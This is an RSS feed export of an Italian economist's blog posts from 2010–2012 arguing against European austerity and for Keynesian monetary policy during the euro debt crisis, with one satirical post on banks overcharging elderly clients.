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	<title>Pier Giorgio Gawronski &#187; crisi finanziaria</title>
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	<description>il coraggio di cambiare</description>
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		<title>I miei post sul Fatto Quotidiano</title>
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		<pubDate>Sun, 05 Feb 2012 20:02:29 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
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		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[democrazia]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[I post che ho scritto dal 26 Luglio in poi si trovano su Il Fatto Quotidiano on line. Non li replico qui per risparmiare tempo. Una volta alla settimana (più o meno) vado a &#8221;Italia sul Due&#8221; (RAI2, h14-15) condotto da Lorena Bianchini.  Se volete lasciare i vs commenti anche qui, li leggerò e vi risponderò.

                                                                                                   Lorena Bianchetti
]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I post che ho scritto dal 26 Luglio in poi si trovano su <a href="http://www.ilfattoquotidiano.it/blog/pgawronski/page/3/">Il Fatto Quotidiano on line</a>. Non li replico qui per risparmiare tempo. Una volta alla settimana (più o meno) vado a &#8221;Italia sul Due&#8221; (RAI2, h14-15) condotto da Lorena Bianchini.  Se volete lasciare i vs commenti anche qui, li leggerò e vi risponderò.</p>
<p style="text-align: center;"><a href="http://www.piergiorgiogawronski.com/media/bianchetti1.jpg"><img class="size-full wp-image-1947  aligncenter" title="Lorena Bianchetti" src="http://www.piergiorgiogawronski.com/media/bianchetti1.jpg" alt="" width="250" height="400" /></a></p>
<p><em>                                                                                                   Lorena Bianchetti</em></p>
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		<title>Mercati finanziari: chi fermerà la pioggia?</title>
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		<pubDate>Tue, 26 Jul 2011 19:49:19 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[ Il tempo che fa. Giovedì schiarita sui mercati: a Bruxelles hanno sistemato tutto. Venerdì, bel tempo, si va in alta quota: “Da oggi, trionfa l’estate!”, confermano autorevoli commentatori, non solo filogovernativi: anche di sinistra e di centro. Lunedì, Piove. Prossimi giorni: variabile, Tendenza: al peggioramento. ‘Chi fermerà la pioggia?’ chiedeva un vecchio ritornello dei Creedence.

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			<content:encoded><![CDATA[<p> Il tempo che fa. Giovedì schiarita sui mercati: a Bruxelles hanno sistemato tutto. Venerdì, bel tempo, si va in alta quota: “Da oggi, trionfa l’estate!”, confermano autorevoli commentatori, non solo filogovernativi: anche di sinistra e di centro. Lunedì, Piove. Prossimi giorni: variabile, Tendenza: al peggioramento.</p>
<p> ‘Chi fermerà la pioggia?’ chiedeva un vecchio ritornello dei Creedence.</p>
<p>“Non spetta a me &#8211; dice Trichet – ho già acquistato titoli sui mercati”. “Non spetta a me &#8211; dice Barroso – ho già prodotto le nuove regole del Patto di Stabilità”. “Non spetta a me – dice Angela Merkel &#8211; ho già mandato aiuti alla Grecia”.</p>
<p>Refrain (in coro): “Mettete i conti in ordine!”.</p>
<p>“Fatto!”, dice Tremonti. “Fatto!”, dicono i portoghesi, gli irlandesi, gli spagnoli, ecc. ecc.: “Cavo signove, la mia manovva ha vicevuto lodi unanimi in Euvopa…”.</p>
<p>Ma ogni volta che fanno una manovra, succede il contrario di quanto previsto: salgono i tassi sul debito… la spesa per interessi… il deficit… E si ricomincia. Com’è possibile?</p>
<p>Sarà la logica puramente nazionale, del ‘caso per caso’, smentita dall’alto numero di paesi europei coinvolti. Sarà la logica puramente finanziaria: i risultati finanziari – anche di uno Stato – non sono la risultante delle tendenze economiche sottostanti? Sarà perché quando – nel migliore dei casi – si invoca la crescita, non si ha idea di come innescarla, nelle particolari circostanze in cui ci troviamo. Fatto sta che c’è qualcosa di profondamente malato nelle istituzioni europee e nei modelli economici in voga in alcuni ambienti.</p>
<p>Eppure l’attuale depressione economica e la grandinata che sta per arrivare non sono inevitabili. La crescita è possibile subito: tre settimane. Una crisi, com’è questa, da carenza di domanda – la gente ha paura del futuro e non spende abbastanza, le imprese non vendono abbastanza – è infinitamente più facile da risolvere di una crisi di offerta – hanno bombardato le fabbriche, siamo inefficienti, corrotti … – del sistema produttivo! Date più soldi alla gente (in difficoltà economica) e l’economia ripartirà. I soldi, si stampano.</p>
<p>Refrain (in coro): “Inflazione!” “Iper-inflazione!” “Tutelare i risparmi!” “Cultura della stabilità!” “Caro Gawronski, lei è un ingenuo!” “Populista!” “Se fosse così semplice, non ci avrebbero già pensato!?”</p>
<p>Mi viene in mente Palazzeschi:</p>
<p>Mamma mia! / E che poesia / volete che ci sia / dentro un negozio di pizzicheria! / Se aveste detto fiori, o seteria, / se aveste detto in quello di antichità, / certo lì ce ne sarà; / ma non in questo qui, / venite via, / per carità! / Mio caro, siatene persuaso, / per la fretta che avete di giungere alla mèta, / questa volta siete evaso / dal campo del poeta! / Non ce n’è, non ce n’è, restate franco!</p>
<p>Basta, miei cari, basta / Che ci vada il poeta, dietro al banco!</p>
<p>PS Per i link vedi <a href="http://www.ilfattoquotidiano.it/2011/07/26/mercati-finanziari-chi-fermera-la-pioggia/147732/">http://www.ilfattoquotidiano.it/2011/07/26/mercati-finanziari-chi-fermera-la-pioggia/147732/</a></p>
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		<title>Cadono le braccia, cade l’economia</title>
		<link>http://www.piergiorgiogawronski.com/cadono-le-braccia-cade-l%e2%80%99economia/</link>
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		<pubDate>Fri, 22 Jul 2011 00:36:10 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[Il senso delle decisioni prese a Bruxelles, sotto la guida di Francia e Germania, dai capi di governo europei, è una tardiva ma opportuna presa d’atto della realtà. I debiti degli Stati membri in difficoltà sono un po’ anche nostri. Per due motivi. Le nostre banche ci sono dentro fino al collo. Il fallimento di [...]]]></description>
			<content:encoded><![CDATA[<div>Il senso delle <a href="http://www.consilium.europa.eu/uedocs/cms_data/docs/pressdata/en/ec/123978.pdf" target="_blank">decisioni prese a Bruxelles</a>, sotto la guida di <strong>Francia</strong> e <strong>Germania</strong>, dai capi di governo europei, è una tardiva ma opportuna presa d’atto della realtà. I<strong> debiti degli Stati membri</strong> in difficoltà sono un po’ anche nostri. Per due motivi. <em>Le nostre banche ci sono dentro fino al collo. Il fallimento di Italia e Spagna ci travolgerebbe.</em> Pertanto:</div>
<ul>
<li>Alla Grecia vengono prestate nuove importanti risorse.</li>
<li>A Grecia, Irlanda e Portogallo vengono abbassati i tassi d’interesse (finalmente!) ed allungate le scadenze sui prestiti elargiti dal Fondo Europeo per la Stabilità.</li>
<li>Le banche che incautamente hanno finanziato in passato lo Stato greco devono prendere ‘volontariamente’ atto che non riavranno indietro tutti i loro soldi. La prossima volta, facciano meglio il loro lavoro.</li>
<li>Il Fondo Europeo per la stabilità potrà intervenire sui mercati secondari a sostegno dei titoli del debito pubblico di qualsiasi paese sotto attacco speculativo (anche l’Italia).</li>
</ul>
<p>Poiché il debito pubblico dei paesi a rischio viene in certa misura ‘garantito’ dalla Germania (anche se il comunicato dice che il caso della Grecia è eccezionale), vuol dire che da ora in poi conta meno di chi è il debito. Ed ecco, assistiamo al fenomeno della convergenza dei rendimenti dei titoli pubblici. <a href="http://www.bloomberg.com/apps/quote?ticker=GBTPGR10:IND" target="_blank">Scendono violentemente i tassi di paesi come l’Italia</a>, ma si <a href="http://www.bloomberg.com/apps/quote?ticker=GDBR10:IND" target="_blank">impennano quelli della Germania</a>. Ora si guarderà di più alla <a href="http://edition.cnn.com/2011/BUSINESS/06/19/europe.debt.explainer/index.html" target="_blank">sostenibilità del debito pubblico totale dell’Europa</a>: 80% del PIL nel 2010, cioè bene. Per questo, nell’insieme la spesa per interessi degli Stati europei scende, l’Armageddon si allontana, i mercati brindano, gli speculatori ‘ribassisti’ perdono soldi a favore dei ‘rialzisti’.</p>
<p>Fin qui tutto bene. Poi nel comunicato c’è questo paragrafo (<strong>e ti cadono le braccia</strong>).<br />
<em>“All euro area Member States will adhere strictly to the agreed fiscal targets, improve competitiveness and address macro-economic imbalances. Public deficits in all countries except those under a programme will be brought below 3% by 2013 at the latest”.</em></p>
<p>Traduzione:<br />
1) i paesi con alti debiti pubblici faranno una <strong>dura austerità</strong><br />
2) i paesi senza alti debiti pubblici faranno una <strong>dura austerità</strong><br />
3) la banca centrale <strong>sta alzando i tassi</strong> (frase scritta con inchiostro simpatico)<br />
4) ???<br />
5) Pertanto, la nostra strategia causerà <a href="http://krugman.blogs.nytimes.com/2011/07/21/1937-1937-1937/" target="_blank"><strong>un’accelerazione della crescita</strong></a></p>
<p>Oh, e nel paragrafo introduttivo si legge anche:<br />
<em>“We reaffirm our determination to reinforce convergence and competitiveness … in the euro area”.</em></p>
<p>Ovvero: la Germania continuerà a incrementare la sua competitività, invece di alzare i salari. I paesi rimasti indietro, come Spagna e Italia (dove un deficit commerciale del 3% del PIL sta causando la rapida caduta della ricchezza netta delle famiglie), dovranno ‘convergere’ sulla Germania, cioè … ridurre i salari.<br />
<a href="http://www.oecd.org/document/20/0,3746,en_21571361_44315115_48364756_1_1_1_1,00.html" target="_blank"><br />
Aspettatevi un’altra recessione.</a> Ma se possedete dei titoli pubblici, potete stare un po’ più tranquilli. E se siete degli speculatori, non disperate: l’instabilità finanziaria non svanirà.</p>
<p>Buone vacanze.</p>
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		<title>Perché i mercati crollano</title>
		<link>http://www.piergiorgiogawronski.com/perche-i-mercati-crollano/</link>
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		<pubDate>Mon, 18 Jul 2011 05:14:57 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>

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		<description><![CDATA[Un breve post per chiarire le dinamiche di breve termine dei mercati
]]></description>
			<content:encoded><![CDATA[<div id="testoarticolo" style="text-align: left;">Solo un breve post, per chiarire le dinamiche di breve termine dei mercati.</div>
<div style="text-align: left;"> </div>
<div style="text-align: left;">Se ne sentono tante in giro. I <strong>mercati </strong>crollano per colpa degli <span style="text-decoration: line-through;">untori </span>speculatori. Per la scarsa credibilità della classe politica. Perché la manovra è fatta male. Ma gli speculatori ci sono sempre stati, la credibilità della classe politica era già bassa prima, e la manovra è stata rafforzata.</div>
<p style="text-align: left;">Il vero problema sono: i <strong>tempi</strong>.</p>
<p style="text-align: left;">Riassumiamo. Venerdì 8 luglio i mercati hanno detto: <em>“La <strong>manovra </strong>non è adeguata”</em> (forse perché rimandava tutto l’aggiustamento al 2013 senza definirne i contenuti). Ed è iniziata la <strong>caduta dei titoli italiani</strong>. Ebbene, questa volta il governo e la classe politica non hanno dormito. Nel weekend del 9 e 10 luglio hanno rafforzato la manovra, e venerdì 15 l’hanno pure approvata! Tempi brevissimi. Napolitano ha parlato di <em>“<a href="http://www.ilfattoquotidiano.it/2011/07/14/napolitano-in-futuro-serviranno-altre-prove-di-coesione-nazionale/145283/" target="_blank">un miracolo</a>”</em>: per la politica è un risultato eccezionale.</p>
<p style="text-align: left;">Ma in quei 5 giorni, fra il lunedì 11 e il venerdì 15 luglio, i mercati non sono rimasti fermi. I tassi d’interesse sono saliti, tanto da determinare nuovi oneri finanziari – a regime -  superiori ai nuovi risparmi che la manovra stava introducendo. E il bilancio pubblico si è trovato nella paradossale situazione di essere ancora… meno sostenibile! Ovvero: la manovra licenziata il 15 luglio sarebbe stata sufficiente a placare i mercati fino a lunedì 11 mattina, ma <strong>non era più sufficiente</strong> il 15 luglio. Sì, in queste situazioni non c’è più “equilibrio”. O c’è un circolo vizioso (i tassi salgono, salgono, salgono). O c’è un circolo virtuoso (i tassi scendono, migliora la sostenibilità, i tassi scendono).</p>
<p style="text-align: left;">Nel weekend del 9 e 10 luglio si sarebbe dovuta predisporre una manovra che compensasse anche i prevedibilissimi ulteriori aumenti dei tassi verificatisi nei giorni successivi, per annunciarla lunedì 11. Soffocare l’incendio sul nascere. Ciò avrebbe fatto cadere i tassi (salire i mercati), avviando il circolo virtuoso. I soldi così risparmiati, se in eccesso, si sarebbero poi potuti <strong>restituire ai cittadini </strong>(come fece Prodi nel 1998 con la tassa per l’Euro).</p>
<p style="text-align: left;">Interventi della <strong>Bce </strong>sufficientemente aggressivi da spingere (anch’essi) gli <a href="http://www.bloomberg.com/apps/quote?ticker=.ITAGER10:IND" target="_blank">spread Btp-Bund sotto ai 2.20 bp.</a> avrebbero contribuito in maniera decisiva all’innesco del circolo virtuoso, poiché avrebbero reso la manovra del 15 luglio “adeguata”. La Bce avrebbe poi rivenduto con profitto i titoli, una volta ristabilita la calma. Ma l’Europa, contrariamente a Usa, Giappone, Canada e via elencando, non ha un “prestatore di ultima istanza”: la Bce non ritiene neppure questo un suo compito “normale” in caso di crisi sistemica.</p>
<p style="text-align: left;">Se, come dice Liikanen, questa è <em>“la peggiore crisi che il mondo abbia mai dovuto affrontare”</em>, non abbiamo la possibilità del <em>learning by doing</em>, “sbagliando s’impara”. Il prezzo dell’incapacità di capire come funziona il mondo sarebbe troppo alto. Vorrei sommessamente suggerire due cose. Il ministro si circondi subito dei migliori esperti di crisi finanziarie che abbiamo: tipo Luigi Spaventa e, sì, Francesco Giavazzi. Se dobbiamo tentare una <a href="http://www.ilfattoquotidiano.it/2011/07/15/gli-economisti-ci-salveranno/145622/" target="_blank"><strong>strategia di stampo liberista</strong></a>, almeno facciamolo bene: con i tempi giusti.</p>
<p style="text-align: left;">In secondo luogo, in questo post sono rimasto deliberatamente all’interno di una logica meramente neoclassica (liberista). Ma nei post precedenti ho presentato un’altra ipotesi: che nelle attuali depresse condizioni i risparmi dell’austerità siano inferiori (o quasi) alla perdita di entrate fiscali che essa provoca: insomma, per la stabilità finanziaria, la crescita conta anche di più. A conferma, la crisi attuale non si è manifestata in concomitanza con l’uscita di <a href="http://www.istat.it/salastampa/comunicati/in_calendario/contoPA/20110701_00/" target="_blank">dati negativi sul deficit italiano</a>, bensì di <a href="http://www.etribuna.com/eportale/tutti-gli-articoli-del-portale/15342-istat-produzione-industriale-a-maggio-18-su-base-annua.html" target="_blank">dati negativi</a> <a href="http://www.istat.it/salastampa/comunicati/non_calendario/20110706_00/" target="_blank">sulla crescita</a>. Il ministro si circondi dunque anche di qualche <strong>keynesiano </strong>con le idee chiare su <a href="http://www.letteradeglieconomisti.it/" target="_blank">come sostenere la domanda</a>. Si tratta di <a href="http://www.vivicentro.org/storico/content.php/15698-All-euro-serve-un-inflazione-programmata-GIORGIO-LA-MALFA-PIERGIORGIO-GAWRONSKI" target="_blank"><strong>strategie complementari</strong></a>.</p>
<p style="text-align: left;">Si, cari lettori, il nostro sistema economico è una tecnologia sociale complessa e sofisticata: ha delle fragilità non da poco; e richiede una <strong>manutenzione adeguata</strong>: pena i disastri che osserviamo.</p>
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		<title>Le misure Consob non funzioneranno</title>
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		<pubDate>Sun, 10 Jul 2011 23:17:29 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>

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		<description><![CDATA[Sul mercato dei titoli pubblici di Portogallo, Irlanda, Italia, Grecia e Spagna (PIIGS) si gioca una partita decisiva per la crisi finanziaria europea.]]></description>
			<content:encoded><![CDATA[<p>Scrivo nella notte fra domenica e lunedì. Le misure della Consob contro la speculazione ribassista sono doverose. Riguardano il periodo estivo, quando i volumi dei titoli scambiati si assottigliano, prestando il fianco a manovre speculative illegali delle ‘mani forti’. Ora, se qualcuno bara, sarà più facile individuarlo.</p>
<p>Tuttavia le misure adottate – o altre simili – <strong>non fermeranno l’ondata di ribassi</strong>. Perché è sul mercato dei titoli pubblici di Portogallo, Irlanda, Italia, Grecia e Spagna (PIIGS) che si gioca la partita decisiva.</p>
<p><img src="http://www.ilfattoquotidiano.it/wp-content/themes/ilfatto/phpThumb.php?src=/wp-content/uploads/2011/07/grafico1.png&amp;w=295&amp;aoe=1&amp;q=90&amp;f=jpg&amp;far=1&amp;bg=FFFFFF" alt="" /><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/07/grafico1.png"></a></p>
<div>È appena iniziato un incendio. Gli incendi si sviluppano in modo non lineare. Per fermarli, è decisivo quello che si fa (o non si fa) <strong>all’inizio</strong>.</div>
<p>Le cause principali dell’incendio sono due: i debiti pubblici, e la crescita anemica (o negativa) della base imponibile. Per spegnere il fuoco sul nascere bisogna agire rapidamente, e in modo decisivo, su entrambe le cause.</p>
<p>I paesi summenzionati dovrebbero ridurre il debito, tagliando la spesa pubblica e/o alzando le tasse. L’Italia dovrebbe fare subito la manovra per il 2013 e 2014, che per ora è solo un vago libro dei sogni. Tremonti: “Chi ci chiede di fare di più, o di anticipare ad oggi le misure previste per il prossimo triennio, non ha capito nulla. Se lo facciamo, ammazziamo il paese”. Eh no! Signor Ministro, è lei che non ha capito. Non Le si chiede di concentrare i sacrifici in un anno, ma di votare subito misure concrete e credibili, che mettano a posto i conti anche negli anni a venire.</p>
<p>Ma in questa <a href="http://www.ilfattoquotidiano.it/2011/06/15/l%e2%80%99europa-soffocata-dal-monetarismo/118327/" target="_blank">congiuntura depressa</a>, post ‘crisi finanziaria globale’, la spesa pubblica ‘tagliata’ non viene sostituita da nulla, e si traduce perciò inesorabilmente in una nuova caduta delle vendite delle imprese, della base imponibile, e delle entrate fiscali. Lo si è già visto in Grecia, in Irlanda, in Portogallo. Fare austerità in questo modo è inutile e dannoso: ci si ritrova quasi con lo stesso deficit, e tanti disoccupati in più.</p>
<p>Manca una gamba della strategia: il sostegno alla domanda privata, per compensare i tagli alla spesa pubblica e stabilizzare le vendite delle imprese . Sono convinto che oggi solo la Banca Centrale Europea ha i mezzi per stimolare la domanda del settore privato. <a href="http://www.ilfattoquotidiano.it/2011/07/04/economisti-keynesiani-sveglia/139623/" target="_blank">Qualcuno dovrebbe dirglielo</a>.</p>
<p>Oppure ci vorrebbero ministri economici talmente competenti in macroeconomia da sostenere la domanda ‘a costo zero’.</p>
<p>O tutt’e due le cose.</p>
<p>*G<em>rafico: tassi d’interesse decennali sul debito pubblico italiano – <a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/07/grafico1.png" target="_blank">clicca qui per ingrandire</a></em></p>
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		<title>Euro, il tempo è scaduto</title>
		<link>http://www.piergiorgiogawronski.com/euro-il-tempo-e-scaduto/</link>
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		<pubDate>Fri, 08 Jul 2011 21:09:09 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[Ieri la Banca Centrale Europea ha alzato i tassi dall’1,25% all’1,5%. Oggi le borse e i titoli europei stanno cedendo, o addirittura crollando, come nel caso dell’Irlanda. Esiste una correlazione fra i due avvenimenti?]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;">Ieri la <strong>Banca Centrale Europea</strong> ha <strong>alzato i tassi dall’1,25% all’1,5%</strong>. Oggi le borse e i titoli europei stanno cedendo, o addirittura <strong>crollando</strong>, come nel caso <strong>dell’Irlanda</strong>. Esiste una correlazione fra i due avvenimenti? Ieri, il <a href="http://www.project-syndicate.org/commentary/stiglitz140/English" target="_blank">Nobel per l’economia <strong>Joseph Stiglitz</strong> </a>ha spiegato che sì: “<em>Solo pochi anni fa una potente ideologia </em>– <em>la fede nei mercati liberi e non regolati</em> –<em> ha portato il mondo sull’orlo del baratro… Speravo che la crisi avrebbe insegnato qualcosa…Tutt’altro! Il ritorno in auge delle teorie economiche della destra… minaccia ancora una volta l’economia globale… In Europa, mentre la Grecia ed altri paesi vanno in crisi, la </em>medicine du jour<em> è nuove dosi di austerità… che riducono la crescita e mettono in crisi i bilanci pubblici… [Perciò] crolla anche la fiducia: un circolo vizioso senza fine.</em>”</div>
<p>Portogallo (+1002bp), Italia (+236bp), e Irlanda (+1004bp), ma anche la Francia (+55bp) registrano oggi nuovi <strong><a href="http://www.ilfattoquotidiano.it/2011/07/08/spread-btp-italiani-bund-tedeschi-ai-massimi-storici-italia-sempre-piu-anello-debole-della-ue/143950/" target="_blank">record degli spread</a> </strong>(differenziali rispetto alla Germania) dei tassi d’interesse decennali che pagano sul debito pubblico; Spagna (272bp) e Belgio (123) sono vicinissimi ai massimi storici.</p>
<p>Per <strong>l’Italia</strong>, l’aumento degli spread da 150 a 235 in pochi mesi comporta, a regime, un <strong>aumento del deficit </strong>di 13 miliardi. Si tratta di <a href="http://dirittiglobali.it/home/categorie/18-lavoro-economia-a-finanza/17235-la-manovra-dei-rinvii-che-inquieta-i-mercati-.html" target="_blank">soldi buttati</a>, regalati ai mercati finanziari, che appesantiranno drammaticamente le future manovre. <strong>Ma preoccupa soprattutto il trend</strong>. Se i tassi salgono, è meno probabile che lo Stato italiano riesca ad azzerare il deficit, diventa più rischioso prestargli soldi, quindi i mercati richiedono tassi più alti… Questo circolo vizioso oltre una certa soglia non lo si ferma più. E la soglia può non essere lontana (300-500bp di spread?). Gli incendi vanno fermati subito.</p>
<p>Poiché la manovra da 40 miliardi bisogna farla, facciamola! A questo punto, renderà il doppio: per ogni euro di tasse addizionali che pagheremo, il nostro Stato risparmierà un euro sui mercati finanziari, che non dovremo pagare noi.</p>
<p>Ma il problema ha dimensioni europee. <a href="http://www.ilfattoquotidiano.it/2011/07/04/economisti-keynesiani-sveglia/139623/" target="_blank">Non vogliono dare una mano, espandere la moneta e abbassare i tassi?</a> Non vedono che c’è troppa pressione nel pentolone? Che il coperchio un po’ bisogna alzarlo? L’Italia è un paese troppo grande: <a href="http://economia.bloglive.it/eurogruppo-trova-accordo-su-fondo-di-stabilita-5095.html" target="_blank">se cede, salta il coperchio</a> e sono guai per tutti. E l’Italia, sui mercati, ha già cominciato a cedere. Se le cose vanno male, in Europa si scordino l’opzione greca,<strong> l’Italia in ginocchio</strong>, che “privatizza” (svende per due lire ai tedeschi) aziende pubbliche (magari anche qualche isola), che licenzia mezzo milione di impiegati pubblici e molti di più nel privato. A quel punto spero subentrerà un governo dignitoso che minaccerà di <strong>uscire dall’Euro</strong> (con conseguenze comunque durissime: zero illusioni!).</p>
<p>E allora? Forse sarà la Bce a piegarsi. Dovrà comprare titoli pubblici in grande quantità, cedendo in cambio moneta sonante. Allora sì che la moneta in giro sarà sufficiente per stimolare la crescita: anche quella dei prezzi. E’ la via neoliberista all’<strong>inflazione</strong>.</p>
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		<title>Economisti Keynesiani: sveglia!</title>
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		<pubDate>Mon, 04 Jul 2011 20:51:30 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[L’Europa è costruita per impedire inflazione e debiti. Ma le sue istituzioni non sono in grado di reagire in modo opposto nel momento in cui la situazione si è rovesciata.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">La crisi globale è stata contenuta ovunque, tranne che in Europa. Qui c’è la <a href="http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/3-01072011-AP/EN/3-01072011-AP-EN.PDF" target="_blank"><strong>disoccupazione più alta del mondo</strong></a>, la crescita più bassa del mondo, ed alcuni <strong>Stati (PIGS) </strong>in crisi di competitività e a rischio di crash finanziario. Questi semplici <strong>fatti dimostrano il fallimento delle politiche europee</strong>. In questo quadro, sorprende il silenzio degli economisti keynesiani: stenta ad emergere una linea di politica economica veramente alternativa; mentre l’offerta politica oscilla fra due opposti estremismi: il neoliberismo e l’anti-capitalismo.</p>
<p>Si consideri la situazione dei bilanci pubblici. Nel 2005, su istigazione dell’Italia, <strong>Angela Merkel e Sarkozy </strong>– in piena ‘<em>deregulation</em>’ e bolla speculativa – annacquarono fortemente <strong>il Patto di Stabilità</strong>. Gli stessi leader – ora che l’economia europea ha bisogno di aiuto – spingono per dosi crescenti di austerità <em>in tutta Europa</em>. Eppure, la madre di tutti i problemi, oggi, è <a href="http://www.ilfattoquotidiano.it/2011/06/15/l%e2%80%99europa-soffocata-dal-monetarismo/118327/" target="_blank"><strong>l’insufficienza della domanda</strong></a>. Se Keynes fosse vivo, suggerirebbe una manovra opposta: più austerità prima della crisi, meno austerità oggi, ad eccezione che nei paesi ad alto debito.</p>
<p>Le politiche di austerità nei paesi con alto debito aggravano la depressione della domanda interna, e generano la <strong>spirale negativa osservata in Grecia, Irlanda, Portogallo</strong>, e che lambisce il nostro paese. Il governatore della <strong>Banca Centrale Europea</strong>, <strong>Trichet</strong>, ha molto insistito sull’idea che l’austerità “rafforza la fiducia del settore privato”, e per questa via “i consumi e gli investimenti”. Purtroppo, questa teoria non funziona. Al contrario, la crisi greca si trascina, e il conto diventa più salato (più stremata la Grecia, meno potrà restituire ai suoi creditori). In Irlanda, addirittura, i mercati hanno spinto i tassi d’interesse alle stelle nel 2010 <em>dopo</em> l’avvio del programma di austerità, man mano che le sue conseguenze si manifestavano. Sull’Italia incombe una manovra da 45 miliardi che rischia di provocare una nuova disastrosa recessione; ma anche <em>non fare</em> la manovra ci trascinerebbe nel vortice greco.</p>
<p>La politica economica nei paesi in crisi si trova di fronte a <strong>un ‘trilemma’</strong>. Deve favorire al tempo stesso: 1) la riduzione dei <strong>debiti</strong> pubblici; 2) la <strong>crescita</strong> dei redditi (e base imponibile); 3) il recupero di <strong>competitività</strong>. Ma il neo-liberismo non è in grado di risolvere il trilemma: 1) i tagli alla spesa pubblica riducono crescita ed entrate fiscali; 2) le ‘riforme strutturali’ non hanno alcun effetto sulla domanda; 3) il taglio dei salari – raccomandato per recuperare competitività – accresce il peso reale dei debiti. <strong>L’intera Europa è costruita per impedire inflazione e debiti. Ma le sue istituzioni non sono in grado di reagire in modo opposto nel momento in cui la situazione si è rovesciata</strong>.</p>
<p>La crisi Europea si trascinerà penosamente, per anni, se la Banca centrale non sposa una linea di <strong>politica monetaria keynesiana eterodossa</strong>. Oggi, sta alzando i tassi per combattere un nemico che non c’è: l’inflazione <em>core</em> è sotto al 2%! Solo in un ambiente europeo caratterizzato dalla reflazione i PIIGS possono risolvere il trilemma della politica economica e sfuggire al ‘<strong>vortice greco</strong>’. La strategia si chiama <em>Quantitative easing</em> e <em>Inflazione programmata</em>. Parole che, purtroppo, suonano anatema alle orecchie dei sacerdoti dell’ortodossia.</p>
<div style="text-align: justify;"><strong>Un tasso d’inflazione programmato</strong> per quattro anni (2013-2016) al 3,5% in Europa (4,5% in Germania, 1% nei PIGS), <strong>e tassi d’interesse fermi all’1%, consentirebbero</strong>: 1) A tutta la struttura dei tassi di posizionarsi su livelli reali negativi, stimolando la domanda interna ed estera e l’occupazione. 2) Ai PIIGS <strong>di recuperare competitività</strong> senza cadere in deflazione. 3) <strong>Meno austerità</strong>, grazie alla riduzione del valore reale dei debiti pubblici e a maggiori entrate fiscali. Auspico anzi che la Banca centrale ‘bruci’ una piccola parte dei titoli pubblici da essa detenuti, finanziando implicitamente i governi, e sottolineando l’impegno solenne ad alzare temporaneamente il tasso di inflazione. 4) Alla Germania di alzare i salari reali, e di godersi il frutto della sua coerenza in un quadro di stabilità del sistema bancario. Su queste basi, è possibile che l’austerità dei PIIGS abbia successo.</div>
<div style="text-align: justify;"><span style="color: #ffffff;">.</span></div>
<p> Naturalmente, le politiche suggerite <strong>sposterebbero il peso dei sacrifici dai lavoratori alle rendite</strong>. Naturalmente, la Germania ha paura dell’inflazione. E la Bce sembra fare di tutto per destabilizzare l’economia europea: è sempre possibile proporre una modifica del suo Statuto, che affidi al Parlamento Europeo, in certi casi, e con maggioranze qualificate e crescenti, il compito di indicare l’obiettivo d’inflazione (modello UK). Ma poiché <strong>i costi delle politiche suggerite sarebbero molto inferiori</strong> <strong>rispetto ai disastri attuali</strong>, confido che alla fine le proposte keynesiane possano essere accettate anche sul piano politico. La periferia dell’Europa è inchiodata ad una croce di ortodossia monetaria; ma le conseguenze sono nefaste per tutti. È ora di cambiare strada.</p>
<p>Ps. Questo post riprende temi già sviluppati <a href="http://www.lastampa.it/_web/cmstp/tmplRubriche/editoriali/gEditoriali.asp?ID_blog=25&amp;ID_articolo=8931">su ‘La Stampa’ assieme a Giorgio La Malfa</a>. Gli errori, dunque, sono miei, mentre i concetti migliori li condivido con il mio co-autore.</p>
<p><em><br />
</em></p>
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		<title>Non m’importa se le banche falliscono</title>
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		<pubDate>Sun, 12 Dec 2010 09:22:27 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>

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		<description><![CDATA[In  tempi di crisi finanziaria, c'èn chi ne approfitta, abusando del proprio potere]]></description>
			<content:encoded><![CDATA[<div id="testoarticolo" style="text-align: justify;"><strong>Sono tempi strani</strong>. Pieni di opportunità! Quando c’è la peste, non si dà la caccia agli untori? Non si bruciano le streghe? Non si specula sui medicinali? è il momento di arricchirsi! Alle spalle degli ignoranti. C’è la crisi? Nel mondo della finanza succede di tutto. E i fregati siete voi.</div>
<p>Due delle tre principali banche italiane sono state pizzicate a rubare direttamente dai conti correnti e “titoli” dei clienti… vecchiette. Primo caso: migliaia di euro sottratte a una gestione titoli. “Signora, capirà, con questa crisi, Le è andata anche bene…<strong>Capitale garantito?</strong> No, non mi pare possibile che la nostra banca… Il contratto, in questo momento non lo troviamo, ripassi… La mia firma, quella? Ma lei chi è? La figlia?… Facciamo così: reintegro a sua madre il capitale, e la cosa finisce qui fra noi: d’accordo?” Altro caso: i 20 euro al mese (migliaia di euro in pochi anni) addebitati con motivazioni assurde. “In cambio della possibilità di andare in rosso… se non ci va, paga lo stesso.” Per dire. Le vittime (forse) non siete <em>direttamente</em> voi: se non in quanto eredi.</p>
